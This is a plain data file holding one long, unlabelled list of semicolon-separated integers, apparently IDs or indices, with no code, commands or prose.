25983;88438;34800;82271;15446;79063;80818;96593;68811;63521;75203;52589;49297;102925;59910;64278;70686;17591;100280;43687;65157;35681;70658;93981;95684;56709;93185;66228;25737;99734;34596;96476;67979;70520;19338;56947;78491;36206;61016;58756;65613;78223;18560;62186;50010;93669;38604;36055;31678;27496;100523;105867;43455;61454;85772;78263;38869;20762;29748;69896;47281;72437;87148;102502;77258;22972;61098;67466;27066;53739;85262;68710;24550;80096;59319;42547;30901;11345;27324;26120;40832;44311;28992;30419;40155;99727;70147;87702;76541;10970;51300;101454;70352;36103;99087;81074;73862;91054;22701;71657;10886;30654;40447;40794;53773;23324;52486;32658;85273;66552;70813;52346;45211;33608;99508;66133;26745;46161;97915;48327;32826;83274;38145;28908;75552;19849;73943;16039;75348;52888;23103;23865;86887;21314;60835;92266;79994;92769;15877;86169;93132;82085;29618;35309;60095;92066;82966;39259;93288;14994;49043;38474;64201;23109;20052;17540;78017;54031;89836;81682;99362;47107;81658;34305;34626;21061;56343;12674;95604;11310;14528;77085;15857;100448;101996;89365;16692;90899;31214;27313;96307;93357;37279;51001;45427;52968;87103;94532;66140;86002;21862;45729;62307;77395;54027;31497;92606;14122;79471;83415;93028;43847;102937;37773;69197;24347;73655;89733;32501;18500;89210;79189;89086;36279;86976;82534;40490;16562;74155;23802;13412;72429;103225;83682;66932;63170;15425;38370;21172;10895;26829;45980;71798;55570;88890;35532;41488;103751;92605;33810;88816;101971;35399;71073;48977;37338;80356;34535;80761;65616;73238;39749;94356;95437;36636;74685;15310;44030;39591;66646;97754;61849;36476;95729;34435;63984;101577;59205;62779;70316;95798;72937;72693;77124;50126;13912;44284;75544;107116;19592;20457;23864;83197;51519;21904;32812;39422;34067;66502;71086;20450;46020;28121;67536;97336;48377;94501;35183;49235;78478;72727;74553;106561;91911;72573;62694;29980;88134;42717;15477;56139;75555;25893;81957;52845;28770;106699;34253;27093;76760;76859;46893;101429;44131;46310;22944;60653;26449;49579;72221;75962;57284;82559;38887;32350;34951;78807;93515;92055;63007;100180;32076;36337;88775;82059;84817;99533;58644;78809;61855;32068;101683;69984;42173;47156;24685;99878;102710;89531;46541;15547;86314;24063;23678;77748;96237;50980;25300;101957;68372;15929;38693;78217;14571;67115;59447;30517;92025;15706;70840;12215;52754;13158;43702;13340;11684;13127;25506;92315;85512;68722;84210;88691;105157;77977;18379;76094;53654;93390;48733;19948;41430;95045;83580;14804;47636;55829;70390;60654;46706;57917;59102;60948;19905;31074;11338;200046;25428;60058;25829;21549;99558;93389;47697;59083;105666;72032;102442;82126;52283;28164;45704;39317;34502;54206;27131;13193;25789;84983;27480;93506;87007;104882;51810;26226;36824;63610;97043;20043;20845;87721;96063;29216;91944;64441;12088;57589;52223;73879;70058;22133;18751;42237;40846;66019;51671;103713;83956;85906;36086;102489;102471;93499;20823;11834;52994;28247;100948;59431;26903;26502;79812;103887;83650;29909;21667;76946;64857;84912;83106;66179;10106;85810;24911;92309;22370;93778;28954;86536;44606;21447;89512;35481;79488;16689;63825;70177;47663;66940;66120;72441;69824;59288;24881;101698;28948;53754;11057;17495;96504;89396;38382;102725;86578;99094;106795;36419;80699;59374;92267;36252;45550;22416;10142;76300;103679;37637;97734;84071;94520;100480;57156;25311;80252;99306;82943;46160;44619;87777;80986;24570;16083;94140;83620;105633;70380;86302;60303;66272;100044;95800;15727;44340;55063;34656;90992;53890;23567;52762;68659;35258;47290;25979;13398;70363;63547;81760;41711;85001;20803;35347;50230;93246;60669;84818;39479;72483;97190;11097;68628;87624;29684;28325;41348;75084;26873;55334;41647;42392;34114;85775;70921;66949;15936;100355;42657;64583;81513;43864;47274;40252;83458;50866;64332;23476;75222;93485;51081;18558;33436;90488;45332;33312;81877;26639;68466;56749;65107;56603;45463;41004;57413;49706;53208;64587;63486;40991;104442;55588;42075;49628;75383;40007;31791;21414;19661;93935;59423;16601;95581;74601;62926;61085;26412;41787;74005;67967;28884;73993;71713;17729;91060;106740;83154;50719;88574;24664;25971;60232;83343;44372;62845;102748;87241;41845;38242;104556;19691;38938;78034;32489;12855;62224;106250;100560;46113;33324;34350;104488;42655;42397;41339;25018;81332;25323;15315;49054;42543;67865;95790;29386;73066;76812;85739;51125;11339;18617;27430;49476;43247;39276;33668;22153;43605;41640;103598;18257;101955;59264;25743;72645;37369;65098;70245;101798;31403;68953;63641;54999;70717;97841;70367;42434;43884;43700;10486;87046;51804;80174;26353;47008;70758;64114;38391;54875;12528;59858;66723;99463;36831;89217;82703;102076;35924;67085;73481;19826;103776;12718;104795;91103;68289;78664;36136;57505;42334;10072;93722;64489;94552;34574;30176;74597;60237;67135;52523;73205;50324;19910;103825;46786;59192;104552;82244;80248;35314;38165;64255;69595;33819;16636;52315;64605;49165;32928;10840;32626;104293;84371;28950;40063;99498;37419;77460;92897;55465;58803;35510;86949;64741;19640;21546;81192;70570;22382;16372;70186;99204;70069;80286;43241;42880;106796;78760;102341;62653;58554;94943;38991;22724;22425;44506;73582;58730;99023;39318;22095;64885;45173;35708;48212;16758;103761;81356;21831;57637;72448;56320;15650;14334;58355;93570;54803;104147;83868;67939;81216;43783;44162;47109;88783;54305;72396;86335;13132;34288;68308;44296;67196;69193;12230;48506;52591;81111;25937;61403;87365;75073;32481;16151;76939;31851;48193;25941;67677;69973;96461;96005;31494;46712;81549;56636;10975;105155;106007;86811;89458;80092;18480;29872;66468;83275;71525;105087;105168;39105;54942;90492;105629;10714;51439;96105;79278;39870;52096;106743;40411;63395;31763;69406;15003;104718;51048;32592;65251;83444;11770;63671;41597;46094;16912;49651;51263;45401;13068;99297;36625;102897;80817;69532;19446;99354;29133;80782;100288;10989;48386;48420;44195;27279;52567;30178;72757;96399;15921;29046;63741;12986;16468;81092;51885;106198;45232;28779;24268;74715;10814;22415;62284;46431;33066;102419;93628;75910;94737;103659;93033;75789;12045;25542;21112;82153;46476;106526;14328;30330;78119;51000;30318;34008;59290;82328;18686;89786;80553;89359;36125;62562;58795;44251;56191;97297;73519;14257;28749;91728;62118;88604;10752;65409;61283;74889;74816;69475;52574;21251;84677;28815;91783;96531;85826;44549;69331;49620;95993;48688;29025;61177;27693;75462;31422;91442;24510;33719;61292;63347;89148;59544;73486;33928;86907;72301;29120;50049;11480;102379;57367;44625;65592;34716;11919;89596;37318;99459;46307;39230;25285;94109;31350;40918;77090;64072;14246;105512;49487;20359;10569;63588;15575;72789;24982;79991;102507;22061;14287;34317;13228;36284;69899;18393;42024;32891;16925;90690;48459;59441;73721;50020;105918;32394;17347;75461;55809;100122;65284;96791;28792;32237;12376;18433;41857;101461;78962;75206;103894;29858;97054;104749;55196;91247;38757;14082;30098;15189;69434;56514;87237;86742;87018;42433;35019;82036;100073;54416;93112;94120;58397;35320;20036;70385;24688;21111;40077;96481;40352;58557;94394;22970;61269;104406;85659;29282;42607;46663;23992;18545;93991;88778;41634;22740;79732;38439;47862;60296;94927;15473;55451;106070;89511;36520;58071;17444;104655;45037;66456;27745;41883;27885;41551;41286;61303;23674;48826;85506;73149;71887;68010;37964;57963;75479;100902;14959;67944;18361;33246;15970;65190;66938;101558;33581;12920;93149;94875;94041;96515;15899;42642;48307;21311;13269;86658;13960;77448;52934;35683;55603;39115;105340;31207;37603;43852;71853;104057;86985;17522;26133;38779;54763;36639;60113;76971;23633;71272;40574;74068;71247;59215;103196;95650;85502;22912;85474;59930;54470;37339;43175;75074;30861;63770;41453;83944;89418;82197;38196;57646;57693;73922;75340;74739;55715;83679;23625;83840;77768;102681;93740;81134;43710;95570;99361;72563;69290;30106;69418;95869;21276;36843;56488;45291;77970;30908;105024;23874;52401;46067;83485;74524;42131;82544;65137;64565;89100;53060;75770;63849;23883;15496;37309;104929;62211;30669;89250;44108;67132;22120;15389;52563;47814;18987;78567;35068;99736;73749;24306;65811;72825;21467;16948;78368;49239;42044;37844;48211;14040;48246;18042;73210;72453;106400;65634;12415;11412;51010;86473;84327;59352;16127;11003;14016;47034;36936;50065;78680;99706;59114;91795;18748;13061;94314;102625;18424;47772;50083;101687;40678;76090;64710;89577;70762;49302;23339;96145;10286;24304;97414;64014;16011;21889;66820;18885;50438;91723;47148;32725;48166;18353;21258;68291;104336;46119;46686;73777;100575;25684;101800;73259;28311;19883;49508;40172;78594;79495;104706;53987;81083;86318;41997;71982;65282;101084;86615;68505;94309;18448;19087;55705;99837;59188;21040;77125;41945;31798;91080;50404;18854;92254;69513;61740;15134;23607;29837;55934;33613;33428;65020;99239;51701;84547;49127;22911;70740;90311;45497;37440;45541;82961;96635;50878;60538;31816;53792;55996;22757;94422;21613;84620;15345;53044;63397;92981;14633;15901;11716;53561;12883;100238;57008;62275;45537;93333;58639;52124;89039;86744;95002;55267;38121;101400;58522;21306;37950;62950;36291;22695;53810;87796;11840;37096;42701;66943;38659;28627;53122;74982;16932;96466;71780;55872;32841;85296;15534;54572;35389;18974;105179;18190;81343;64207;89072;16957;49108;35538;25685;64518;17332;54523;58225;68263;58380;19656;23566;71463;22563;77598;75212;50220;54877;88043;94711;50763;57034;21133;39863;56312;31479;91006;18085;15584;32851;30428;71468;22526;74224;23017;11048;80379;96648;19536;93072;61064;25508;72232;75108;26820;86519;73150;27988;91218;105641;64916;54809;81185;28031;27591;22355;66668;86712;56437;67588;88475;50511;106711;95557;22487;74903;15207;86021;55258;16553;105935;45850;52071;103034;41450;93907;87441;91431;49109;104516;39475;30434;42020;44659;67089;11548;30673;28259;37876;61913;99742;35126;66920;89692;81860;41818;73665;37703;62983;60844;28511;12988;71721;77959;66173;85229;23919;64124;25287;73001;81679;47179;25380;74126;81828;54100;85390;20087;88495;14936;96654;93292;19205;24160;40983;54897;73474;18275;51940;27623;92889;102047;59273;86049;41811;74892;40852;101821;61498;61370;97441;91641;22149;89860;14490;80971;99893;20007;94961;94658;45799;105442;92022;53180;65587;36089;41686;91310;45031;49545;24639;58278;11513;44844;30438;74169;30376;31457;75142;74073;11136;76678;100421;95320;200088;17102;52703;106976;40032;65029;36702;73921;49337;45280;73404;52802;60275;47038;78043;103182;100526;34381;103077;38153;41380;73696;36894;30889;101942;105211;21463;22556;68172;70423;64539;92321;77319;33915;31311;73634;91674;104371;78554;65529;85981;32065;55994;44499;26488;103436;105762;69219;13687;30760;74551;57373;51038;200022;15549;34297;47277;45813;35509;32615;64347;101246;52678;19789;70741;24888;91268;83217;39140;22565;50037;16625;85963;53356;69053;19168;62414;46005;18843;47903;77336;14174;77387;67696;77677;63136;75008;89637;67114;90137;75345;27604;13298;70365;64077;69822;21096;105401;89661;84711;93366;21589;85364;92285;94145;46689;58029;70487;62907;81046;67485;84811;23965;89198;48520;94441;71369;86196;28994;45500;57467;24455;41451;103591;67394;103661;79907;52134;26923;106523;106628;49678;33264;20063;23323;59732;17559;95899;93739;96193;37856;79655;18083;13968;29644;65056;20637;66416;32274;21701;62602;88020;28713;27388;80756;56662;30736;56181;57683;83642;51119;48414;39187;51846;23319;12746;84466;84524;90464;34053;23035;38762;61900;97070;88615;35689;57785;40279;73406;18884;53080;36514;31306;21109;14701;100203;80454;22377;20174;30470;12390;105680;77752;75581;68697;38892;57191;27150;16512;96895;64034;59353;66168;58807;83858;26088;80920;69729;54116;99843;21285;86170;60295;103915;69281;41782;62389;40610;57419;105050;62546;14765;52503;86930;16820;70221;12262;20070;82148;52327;102719;21329;83303;58412;104785;38736;65781;20641;58616;103242;77212;14492;29675;102476;49219;25377;63415;16291;52372;86220;104492;12546;35994;54630;77214;64438;55053;38859;29878;80622;85943;104763;66040;104218;79323;20930;21912;62764;80284;73207;56664;44366;23464;97939;39465;72680;26575;16885;11309;85702;37334;80717;35245;96314;55244;46038;60589;92178;82719;46401;21677;41610;28548;51847;19435;17635;81060;60144;106896;13302;61390;67675;73764;100565;18631;81177;68262;83279;102118;79424;90941;35337;49933;23022;37312;79279;19649;24397;73722;63623;37860;15573;53132;46095;90676;68574;61669;104444;63910;81766;21637;47420;87286;88881;38366;99623;21806;51550;17590;14055;25954;83970;83201;31365;11090;44237;83615;49284;82570;81180;73251;12054;97936;46730;104308;25461;10024;24049;84419;74442;32323;19251;76535;50735;39053;61218;42085;51767;34042;20981;38184;87005;84706;21953;93036;40331;105338;102213;35921;13543;83200;24019;85624;104932;59469;41224;78529;95909;10404;72151;73488;83873;60549;75617;85160;102506;92707;95763;15264;21946;60380;93995;19906;43951;79095;96637;31640;10034;10499;72639;59095;51096;18507;77498;93574;75733;23063;93198;14480;88532;28871;71156;104956;53656;56430;89617;80404;69209;28923;35223;47766;38699;38035;65835;23799;45314;55303;99118;27370;26363;50190;95734;22339;53972;66908;57268;27257;86056;57771;45940;27853;73103;40765;63500;44556;89774;15598;77858;80130;90484;62503;87972;61689;85409;105911;56102;100296;90275;33385;89491;30634;76274;48364;20074;21748;19506;96592;14499;22813;11792;18660;17398;62264;20719;46747;35605;77480;77509;97600;46228;75406;96680;93664;47225;88741;85718;23897;77456;23186;22494;75342;92232;28828;74528;79788;43727;105253;24563;55596;79058;57667;30276;23365;38438;32545;11333;13906;100824;18665;71528;45951;93045;89392;45198;67737;42119;80859;47691;91612;51277;41386;87578;106267;52126;40309;12928;88879;11736;88153;37934;97401;31500;95037;97052;28782;33267;12375;80966;35066;102248;80460;99091;68473;78321;105301;92358;34260;39565;14484;70571;43516;81163;12918;55182;45892;45180;19396;82625;72381;33453;20727;15726;68546;14085;81688;73107;79175;75921;22981;100839;103882;72983;59715;22392;74542;13534;39345;46529;49994;76729;33948;54770;91689;41760;59411;89955;68460;71606;15571;74638;93720;70435;50221;38532;25494;42320;92611;97607;67428;75326;43531;66203;30164;107081;42992;58893;83908;18266;96401;97210;15711;11856;56792;15081;31459;62061;66779;83484;96372;92171;79076;24233;54398;88454;17652;87460;70865;32860;88961;57390;33369;74134;61121;36455;27474;61784;76711;96477;57578;52918;66746;75032;59221;16495;81850;39082;36568;19542;78564;52426;102266;67690;67914;54232;44848;56631;41728;74364;85381;51309;31278;60728;103066;29605;69874;94806;39110;93514;26360;101052;28027;30747;52542;81207;100841;87385;100912;26330;55679;83730;93071;66083;36430;89129;55641;22647;65342;59440;27780;34558;36311;44638;39807;44896;71061;42590;15812;96490;39167;79984;57389;39219;79558;12889;25616;80885;15103;65436;86944;69478;12499;33279;66877;52433;85734;24552;73366;92784;23762;74932;18308;90016;69673;99083;74654;54816;87197;24831;12367;83205;84239;46570;51749;49889;78307;102016;87169;27080;44245;81543;50581;101575;34285;41648;90586;83391;33427;106108;79179;91468;95915;10185;74825;96768;79935;45722;23377;43495;53899;18033;50125;44022;44198;60277;15646;53658;25332;29756;49259;70211;106650;100500;89928;57896;26809;10451;39816;50236;42544;57023;18977;65000;97697;32492;22345;35466;22844;46505;78795;76517;29710;22808;57245;13286;25195;19366;55841;50815;99697;99400;23789;106565;84913;40187;19394;51471;13868;56115;96699;44624;103437;34956;72172;14479;92956;90159;73339;68023;92136;57635;77720;26473;85352;83759;23937;43997;32843;71405;10820;93955;21615;89500;96256;55962;57494;94229;22907;73323;55888;19610;11632;27609;76007;11129;43366;100910;80703;70734;42858;57039;17519;47358;40320;94138;95500;101759;97863;32215;38315;23172;105897;89283;56018;50599;105744;75149;77922;52332;62685;99794;61147;60415;83222;96240;65734;50030;83628;52757;75815;66529;43845;17070;105737;34494;10518;44205;54933;10893;89390;25330;80437;97391;55998;38316;51192;24863;71910;92235;82230;47063;94384;67062;103178;16463;56920;23403;50541;102136;24293;75256;68747;25341;89207;78710;69343;59969;23908;37848;106783;65971;18800;78543;49357;39253;77966;26799;73645;61673;36871;39935;59039;43947;85178;76321;11794;13516;66370;10251;83922;49871;95636;13726;101272;50227;89704;102557;54695;67165;26535;92180;25630;80089;54525;70445;74644;81362;70928;38802;80790;45029;70918;49554;104268;41822;68926;93285;15460;64506;36852;36210;75375;106609;53120;77960;99632;38314;74319;62467;42616;68079;22228;51396;91357;83711;42352;11466;92742;61539;41651;70988;32732;21244;23293;71683;27584;68756;97789;65725;50130;100147;61785;43688;52086;53786;61977;72249;62852;23273;65128;77721;36756;78817;16575;59175;33028;34082;105635;23736;64392;42944;35243;54950;61214;10411;44057;40140;74562;25020;10794;41280;99016;25192;21794;20395;53808;103912;103523;95907;88462;76067;80898;28336;89875;55946;15209;44447;63769;35250;94881;79363;48589;77301;27052;79601;65031;27099;13145;90145;33092;41237;18471;47867;69675;20954;97226;28007;78163;45303;36613;66135;48629;72387;87366;80407;87778;46909;81105;14368;87483;22090;41075;82340;27541;45336;31875;13790;23379;97288;84922;40327;75710;103174;51504;72677;67671;14885;42770;29373;97181;82940;83359;14544;22304;97787;63907;79486;48145;16715;58733;106132;85069;97532;80441;51167;72513;55919;61606;92484;81624;105477;83696;53200;82216;10005;86878;94389;82867;91194;35270;105568;97784;102876;51215;38266;94055;97766;66612;31014;80888;84193;68416;94333;58534;21354;88828;14318;65106;32567;40637;95515;100791;103243;85541;59165;96312;78902;46467;85351;80807;52073;28583;85726;32879;95621;45879;35848;27200;79603;69380;59200;20754;40934;31090;22501;53420;57254;51933;65739;47098;51188;103071;40241;66715;35565;48297;10352;77055;83280;20560;21218;76893;68590;87771;91475;11774;47199;107067;53094;37008;37416;20942;14012;94990;10519;101782;24524;105667;100447;42848;68091;75310;44673;54223;45975;54044;64175;92421;82331;58715;47044;21995;32550;51059;35740;72706;72200;77857;73836;99203;92834;77679;86236;47549;44229;78801;14313;60546;102966;31603;41092;91707;61970;70419;37631;86748;44094;81100;57628;100328;73596;58138;54820;103195;102206;36027;57041;89380;37924;69225;58168;41515;25643;47718;29164;64185;62969;32002;99896;42301;46328;58785;30542;87755;64226;53998;66495;30907;91715;85328;87416;16300;28873;40948;23575;88650;100492;64197;60091;58482;64600;15314;97899;70607;97848;26180;91317;75402;38686;95978;86281;79396;83308;33683;63585;50096;61773;62210;102300;24549;27128;18442;93260;46050;15513;54521;30936;78411;84126;62093;15944;97623;106208;50915;29270;28108;41271;24383;31261;100262;51927;71380;34858;13365;79851;68715;43114;29529;89613;104958;59674;48250;62142;50668;105618;37544;82878;32037;72299;92169;101913;73078;23194;78767;33859;21220;49932;38822;64058;51814;72735;81397;37038;43984;24997;10929;66218;37955;95386;52969;33191;82448;35053;81982;65674;40762;84195;74473;42067;65544;100035;105613;58613;20038;64327;72605;71865;52581;73275;99370;44587;90752;50845;38455;34585;106436;83648;69943;64324;90758;13999;88956;13391;76348;16691;76586;53404;41301;73934;100475;30667;56442;41492;80998;103341;37265;60798;60562;42176;19841;104400;61764;69296;23482;57523;13234;56735;54392;28054;67647;33761;92711;57417;35967;85017;74413;47458;95923;105118;58876;37125;63142;76811;52403;49565;36147;58581;97980;87083;82677;63259;63757;42837;16899;58232;75137;61828;62261;57260;79157;66693;41253;106068;35622;104364;97771;77830;72327;71633;78509;36068;35764;71991;45611;20486;27466;67464;14240;24351;83128;68766;29766;54052;59524;34078;77013;62625;85038;85730;27649;54793;82466;42999;96085;89172;51156;96514;54725;52505;62975;25704;103819;28085;74897;16802;66252;13891;96502;19635;27587;28096;60506;47889;29907;53006;33301;51755;47033;21099;17691;63482;43566;45137;58304;25831;96131;94975;15629;32041;55861;21728;77660;83236;107065;36778;89865;12890;86837;38937;87858;100845;32856;43841;91260;39936;24979;65154;25739;65104;77800;93381;19816;89167;94023;40175;72792;100438;91282;68653;59048;84792;72310;52984;39607;71008;73600;55237;60287;92173;16354;51736;91601;76742;89810;22690;81626;12470;54982;50746;106753;55055;31932;49904;100765;78547;46311;17153;64678;49768;39989;91494;79200;26315;47072;96149;13339;92384;20182;71203;27269;75812;75599;74956;100820;33551;56065;36538;85715;95796;27813;67524;51787;97604;76450;67538;57887;66964;71400;38509;76892;46963;86617;96194;11206;29508;105988;72763;34554;45878;45664;45227;13362;71301;17707;105745;16613;44772;44433;76910;40118;32081;16623;31887;22321;102583;21305;91270;76689;106932;84929;48665;77693;10070;61476;82900;51126;19424;84754;55783;35396;20000;103610;59354;14266;62660;19504;57338;30310;14421;48380;105336;41262;78233;56719;75485;51122;20274;72501;85610;33565;70591;35765;76353;94118;31868;99480;63396;93326;84456;73370;45324;21630;72273;49936;86543;95658;33185;15095;55143;94495;64714;26650;38061;44660;41019;88863;38286;33358;79092;77306;100998;85556;16220;64131;53584;64667;37919;85676;94059;45931;20200;105697;31060;94047;47816;68409;82749;37770;68969;22837;34023;16652;76654;18338;29774;26356;74027;83412;20044;93724;30755;101449;101279;79360;58173;46243;25100;51661;42813;61901;86081;51021;70019;20058;70125;62075;42752;60524;93931;61468;35550;100304;81733;19412;79773;52171;28614;63537;26584;16422;50532;42735;60652;47027;63484;75906;56171;29583;104875;105774;35646;72298;30929;16624;32966;23400;71485;12837;72386;15528;90495;48312;15898;19561;62047;54512;20346;97569;104309;33735;64637;69946;34194;11039;17658;29066;93344;67153;18382;48347;101580;69770;60164;80429;26691;89672;104286;88824;59739;46210;42360;104088;56715;73803;77403;86706;57318;74662;21383;94688;106921;96899;48208;80036;60739;51336;104612;48306;103247;10567;99064;40582;99268;96928;45874;56627;21425;60486;60297;85136;62894;83496;55118;21217;16591;62103;83245;58483;94511;48823;39961;67266;87150;104903;60013;64552;74592;50999;34879;62707;91748;29864;103265;40101;49002;19145;62105;76681;60259;89029;17698;43352;25355;35624;76600;53552;25746;96344;106129;75737;37878;102772;88635;54124;13852;71681;96756;74541;39828;104788;41190;73160;50565;102964;81726;91389;28231;33607;64520;52451;30356;55631;92875;37303;26740;50114;24638;79139;64969;105702;27967;62347;87900;106259;104861;38427;99864;96445;64924;73960;17699;17115;23593;21988;77041;97812;76033;85593;79882;21037;10935;26579;91964;56892;21420;62615;84997;31731;19391;45968;23058;16677;32993;30602;69113;53812;73102;96103;14176;95543;104789;40050;74730;58291;50397;105655;71034;88571;96728;85429;90239;95292;74089;25581;34881;71467;27404;38645;100764;91597;88628;18147;14370;36176;39181;94174;105309;91915;102308;69112;44358;12279;20812;56865;30078;41567;76898;15848;45898;102580;23344;72097;95541;91187;59793;79977;30678;13582;105370;43377;69533;101767;72495;90069;83180;11630;20154;52715;35953;69915;70307;21143;29182;72574;72506;24212;10978;19079;47159;44906;84344;71092;88436;87785;29638;68723;71382;54034;60573;39179;27529;67347;33418;101409;99522;95331;32981;58679;29424;99265;25566;103932;97673;105948;69151;58768;36512;55404;51286;33304;17651;83083;96857;54269;40546;74742;36363;39438;76834;19144;65678;35568;27385;95966;29318;62159;72934;84163;55368;49707;65561;10578;26506;42699;87219;93231;103188;200055;17066;74276;65148;30931;43456;74555;65911;104709;43522;58986;51616;59707;32196;37268;57736;55835;66780;47061;19651;106953;43980;52012;106214;75855;99965;34961;32070;26389;50204;55150;103968;59128;37626;26891;40629;54210;75880;78622;103556;18833;105353;25898;97436;52005;31374;85585;41471;42139;42314;81229;45526;92940;14048;37426;77200;14145;23760;103219;22403;52496;64665;87259;101137;38838;23183;39764;55132;82257;92538;11100;38361;33475;88732;89397;33455;99202;28328;87666;68109;94565;85687;35626;106983;99536;52907;35517;80690;73626;18296;34673;79199;93599;72633;95970;34433;45340;23828;48547;32538;106345;17466;86795;106358;82003;93425;32716;34295;103450;94940;44185;59147;101873;94867;62668;13764;25854;83374;58891;85399;16209;77150;59025;15191;100569;45045;78534;103728;76358;81217;26010;25522;71215;43636;65256;82386;66601;41788;30918;79353;103403;20318;10566;62507;15840;32952;86624;24419;27055;70929;34139;80080;39611;25688;66331;47790;53278;71641;52641;37899;66591;53865;87594;77378;27915;76119;101867;75633;35211;88745;46756;43402;80112;58852;64453;91114;80071;54577;19212;83062;42519;75748;70787;65865;77007;65522;47625;38550;95318;72198;47520;72568;100079;12272;78757;42669;85728;88742;83268;97937;27495;66782;30394;38987;58186;74180;54083;103723;36000;12100;50279;54008;58424;66554;87890;68419;105767;36197;81487;104917;96775;19148;29777;200035;35176;39653;41535;21496;20297;45338;24554;35112;28608;99246;42868;13919;29053;28493;66712;89879;24925;68889;104172;20936;81347;56270;19976;73530;55202;46062;27241;82410;104478;96708;56716;32240;95034;70331;50903;95380;75330;73272;64661;14821;104332;39913;86336;22299;34352;52617;81245;97750;79529;64440;33981;97584;85450;85041;15100;48970;28774;83471;11678;18284;57942;81972;14620;85080;89067;24285;53114;64865;44420;60920;55036;22730;54214;55881;17439;57100;22590;55304;29633;104020;65883;36920;30372;93684;99466;17179;81729;84094;29070;18432;78110;27653;14628;34602;102311;102703;26537;25395;83150;65673;40454;36876;34952;86152;48576;39671;34933;56345;36441;36085;27762;62988;19902;60298;69045;75072;39504;23215;55866;62450;55931;90245;47155;46415;26260;104007;12417;96991;83321;34880;47373;33842;22916;14567;24823;81161;57070;95723;68538;101656;71803;27655;10912;106018;81759;55755;89811;34144;82152;85514;17807;22546;70315;52761;50681;93409;39889;70913;14126;63501;62176;76058;87204;100144;102569;51459;100281;49809;87718;89581;99232;46842;54774;66543;93694;55794;27597;80833;76794;90318;44124;87120;82084;47726;82958;78654;102733;54517;62496;72113;94613;32642;11820;104393;29112;65891;102673;14767;47214;42193;86443;26959;61781;86248;29703;100636;23528;85309;21058;38397;27548;50095;52527;21043;68740;38708;77087;78475;102121;85663;23142;70397;21528;82182;61368;13853;68654;10561;22270;44318;100521;94835;49812;57569;68438;105610;35772;45715;30589;102693;39581;10922;75644;13718;104734;24974;94551;92074;54364;83227;28772;29480;97524;69426;77607;45208;106099;64194;73895;90082;17389;19093;56938;88765;54749;14511;31821;52175;102608;89112;74363;26947;45417;24370;107011;21760;59624;14413;49926;21740;11795;33500;36914;68566;84183;94226;26565;99791;26541;82195;75306;106083;72291;89330;62868;49397;44604;22147;86407;56857;93018;45104;91594;33944;20141;28449;104610;34870;33897;34372;94244;46355;17526;69442;43349;12867;57305;49609;10019;17630;53651;44810;35463;58914;34503;58470;101774;18732;31677;103854;82764;96501;19333;85129;23231;18860;18080;69473;44528;90710;37825;99125;66062;102042;11166;77628;97715;100514;48805;42512;15639;102643;20187;22685;101802;103816;62327;93512;37915;92963;54834;73034;61113;35356;13418;72734;78242;55497;50452;77691;90883;82455;101425;47510;38127;30715;23900;66055;14112;63160;107109;83439;65446;12717;70201;47132;46167;47677;35074;78993;10730;85528;78611;13730;19795;23280;84082;41467;80845;47767;90749;33878;89539;74375;94477;51527;104910;78464;83976;81030;44792;65499;43547;104497;69583;38573;77926;17312;14555;91698;38193;83057;68924;105779;55711;78009;99600;87379;96229;63961;55502;26174;23317;99927;66285;88625;35655;13660;49860;13565;90571;21340;72840;106043;61880;35365;31087;10750;92596;56839;19577;83508;17193;81324;46042;35833;101475;25756;85376;41698;103244;26876;24301;15024;58275;13525;45329;10156;37587;29735;80892;87346;84618;19583;72896;95888;106127;87988;51931;52705;13041;42900;59282;57874;42099;97447;28955;97316;57606;82744;19234;87504;69338;36740;68567;87502;105965;25127;83038;59770;65771;43904;77732;12927;43797;39933;15739;16520;69249;70737;47102;60970;75197;104918;46324;76447;24802;34903;65325;63875;59427;88512;27628;77413;60175;85815;57904;14714;19001;24039;48522;89384;78712;13184;80494;39378;73009;104198;59513;24815;48235;62473;79198;89211;96443;61643;67159;94945;72938;83997;41398;70545;45651;43464;39061;48903;76828;28613;14372;27102;91500;28340;38818;42277;36817;22093;57501;67058;104733;83234;78467;105271;40565;89474;72379;93518;22191;44796;78824;24437;91983;36309;16609;70638;60537;100701;89242;10366;52249;22292;44882;12281;24385;104685;83053;60540;39048;47001;30093;49788;21129;106256;66097;17079;22492;50590;74335;33704;94547;91067;97590;105176;18548;28051;69157;45177;33636;18404;76387;40987;63324;10307;90116;104343;106159;94168;58164;89120;102969;32681;90072;104171;22244;12451;34580;104317;106215;102276;45064;22987;11910;70476;51414;42702;79127;31987;99707;76657;54170;29395;46051;40890;95306;68495;102017;94185;103382;94428;103475;106516;39175;77831;45880;27158;100983;40708;82357;83737;42734;64342;41509;106261;97875;48379;95900;71370;30019;89159;22468;53997;61771;62592;77740;67950;42192;71234;84445;46922;53920;83186;89988;27069;53836;24088;87770;62349;45784;21134;79973;83199;59550;62582;23399;39848;102687;19483;68099;96688;45081;70126;102319;92307;39088;20783;100465;35035;50955;95895;55263;54446;64812;52738;62795;41805;33648;29626;29238;38793;64070;92487;101484;12925;16383;45920;104954;45265;103722;43679;10860;83917;81141;74680;96961;28934;21313;103830;76981;88870;31444;100017;73957;59463;16482;72869;91369;92916;54694;84317;40088;74949;97183;35884;50561;31931;65980;12330;81464;45655;69386;27670;91577;25087;32468;56974;17809;39606;31477;85869;21010;58832;105995;53089;28674;92322;89068;46777;101711;13785;43321;77600;70923;24641;58330;96066;19894;48376;54540;16708;36466;15965;70516;53508;82861;104180;62662;70947;79906;70863;59335;57162;23349;103649;43787;20217;45754;13205;76214;81778;49455;75619;82333;41016;102209;54728;66951;65195;27378;13020;13017;57747;19546;74222;87961;11329;85119;87633;102048;95441;39907;78853;78685;14946;30506;66025;85706;19763;51494;16353;29132;42857;27736;13727;104216;50388;45378;62304;60973;19830;82451;10625;20263;104797;64385;16016;80153;100792;74936;72536;43785;100814;37135;33087;88768;52443;64938;26938;100364;70236;100274;53084;37935;87965;101584;49599;60385;48407;30865;51536;72954;89803;18568;74231;59903;37437;11299;15303;76416;80311;42484;38893;28135;46685;96557;75179;40812;90004;17081;16105;100179;45842;34333;100344;84451;69679;71245;64573;75246;74138;37673;57726;65240;76671;71116;71074;50011;56034;24400;35069;16611;18546;41967;30033;73660;49647;31926;45468;34227;96636;24382;86660;93210;54060;35063;60205;81806;67280;76128;97872;67558;101262;80272;19379;18201;71891;75498;12917;35910;21093;13034;60700;18104;69248;21840;54924;61404;94612;19411;75053;36792;31455;51360;12408;47584;85111;82912;30175;87561;93136;53895;14790;56803;66606;39087;57232;39791;26352;34143;78528;76137;63044;84836;41117;200078;101992;46613;102398;34861;11583;30386;20857;64557;83105;82798;91249;23427;71014;62675;31621;40093;38927;19064;38566;46947;87667;53262;39295;75677;